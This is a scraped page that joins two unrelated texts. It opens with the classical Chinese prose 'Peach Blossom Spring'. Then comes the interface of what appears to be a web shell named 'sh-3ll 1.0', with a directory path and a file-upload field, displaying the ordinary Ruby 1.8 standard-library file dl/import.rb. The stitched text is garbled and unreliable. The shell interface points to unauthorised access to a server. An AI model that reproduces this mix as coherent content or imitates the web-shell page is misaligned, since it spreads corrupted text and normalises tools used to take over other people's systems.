晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby18/lib64/ruby/1.8/dl/
Upload File :
Current File : //opt/alt/ruby18/lib64/ruby/1.8/dl/import.rb
# -*- ruby -*-

require 'dl'
require 'dl/types'

module DL
  module Importable
    LIB_MAP = {}

    module Internal
      def init_types()
	@types ||= ::DL::Types.new
      end

      def init_sym()
	@SYM ||= {}
      end

      def [](name)
	return @SYM[name.to_s][0]
      end

      def dlload(*libnames)
	if( !defined?(@LIBS) )
	  @LIBS = []
	end
	libnames.each{|libname|
	  if( !LIB_MAP[libname] )
	    LIB_MAP[libname] = DL.dlopen(libname)
	  end
	  @LIBS.push(LIB_MAP[libname])
	}
      end
      alias dllink :dlload

      def parse_cproto(proto)
	proto = proto.gsub(/\s+/, " ").strip
	case proto
	when /^([\d\w\*_\s]+)\(([\d\w\*_\s\,\[\]]*)\)$/
	  ret = $1
	  args = $2.strip()
	  ret = ret.split(/\s+/)
	  args = args.split(/\s*,\s*/)
	  func = ret.pop()
	  if( func =~ /^\*/ )
	    func.gsub!(/^\*+/,"")
	    ret.push("*")
	  end
	  ret  = ret.join(" ")
	  return [func, ret, args]
	else
	  raise(RuntimeError,"can't parse the function prototype: #{proto}")
	end
      end

      # example:
      #   extern "int strlen(char*)"
      #
      def extern(proto)
	func,ret,args = parse_cproto(proto)
	return import(func, ret, args)
      end

      # example:
      #   callback "int method_name(int, char*)"
      #
      def callback(proto)
	func,ret,args = parse_cproto(proto)

	init_types()
	init_sym()

	rty,renc,rdec = @types.encode_return_type(ret)
        if( !rty )
          raise(TypeError, "unsupported type: #{ret}")
        end
	ty,enc,dec = encode_argument_types(args)
	symty = rty + ty

	module_eval("module_function :#{func}")
	sym = module_eval([
	  "DL::callback(\"#{symty}\"){|*args|",
	  "  sym,rdec,enc,dec  = @SYM['#{func}']",
	  "  args = enc.call(args) if enc",
	  "  r,rs = #{func}(*args)",
	  "  r  = renc.call(r) if rdec",
	  "  rs = dec.call(rs) if (dec && rs)",
	  "  @retval = r",
	  "  @args   = rs",
	  "  r",
	  "}",
	].join("\n"))

	@SYM[func] = [sym,rdec,enc,dec]

	return sym
      end

      # example:
      #  typealias("uint", "unsigned int")
      #
      def typealias(alias_type, ty1, enc1=nil, dec1=nil, ty2=nil, enc2=nil, dec2=nil)
	init_types()
	@types.typealias(alias_type, ty1, enc1, dec1,
                                     ty2||ty1, enc2, dec2)
      end

      # example:
      #  symbol "foo_value"
      #  symbol "foo_func", "IIP"
      #
      def symbol(name, ty = nil)
	sym = nil
	@LIBS.each{|lib|
	  begin
	    if( ty )
	      sym = lib[name, ty]
	    else
	      sym = lib[name]
	    end
	  rescue
	    next
	  end
	}
	if( !sym )
	  raise(RuntimeError, "can't find the symbol `#{name}'")
	end
	return sym
      end

      # example:
      #   import("get_length", "int", ["void*", "int"])
      #
      def import(name, rettype, argtypes = nil)
	init_types()
	init_sym()

	rty,_,rdec = @types.encode_return_type(rettype)
        if( !rty )
          raise(TypeError, "unsupported type: #{rettype}")
        end
	ty,enc,dec = encode_argument_types(argtypes)
	symty = rty + ty

	sym = symbol(name, symty)

	mname = name.dup
	if( ?A <= mname[0] && mname[0] <= ?Z )
	  mname[0,1] = mname[0,1].downcase
	end
	@SYM[mname] = [sym,rdec,enc,dec]
	
	module_eval [
	  "def #{mname}(*args)",
	  "  sym,rdec,enc,dec  = @SYM['#{mname}']",
	  "  args = enc.call(args) if enc",
	  if( $DEBUG )
	    "  p \"[DL] call #{mname} with \#{args.inspect}\""
	  else
	    ""
	  end,
	  "  r,rs = sym.call(*args)",
	  if( $DEBUG )
	    "  p \"[DL] retval=\#{r.inspect} args=\#{rs.inspect}\""
	  else
	    ""
	  end,
	  "  r  = rdec.call(r) if rdec",
	  "  rs = dec.call(rs) if dec",
	  "  @retval = r",
	  "  @args   = rs",
	  "  return r",
	  "end",
	  "module_function :#{mname}",
	].join("\n")

	return sym
      end

      def _args_
	return @args
      end

      def _retval_
	return @retval
      end

      def encode_argument_types(tys)
	init_types()
	encty = []
	enc = nil
	dec = nil
	tys.each_with_index{|ty,idx|
	  ty,c1,c2 = @types.encode_argument_type(ty)
          if( !ty )
            raise(TypeError, "unsupported type: #{ty}")
          end
	  encty.push(ty)
	  if( enc )
	    if( c1 )
	      conv1 = enc
	      enc = proc{|v| v = conv1.call(v); v[idx] = c1.call(v[idx]); v}
	    end
	  else
	    if( c1 )
	      enc = proc{|v| v[idx] = c1.call(v[idx]); v}
	    end
	  end
	  if( dec )
	    if( c2 )
	      conv2 = dec
	      dec = proc{|v| v = conv2.call(v); v[idx] = c2.call(v[idx]); v}
	    end
	  else
	    if( c2 )
	      dec = proc{|v| v[idx] = c2.call(v[idx]); v}
	    end
	  end
	}
	return [encty.join, enc, dec]
      end
    end # end of Internal
    include Internal
  end # end of Importable
end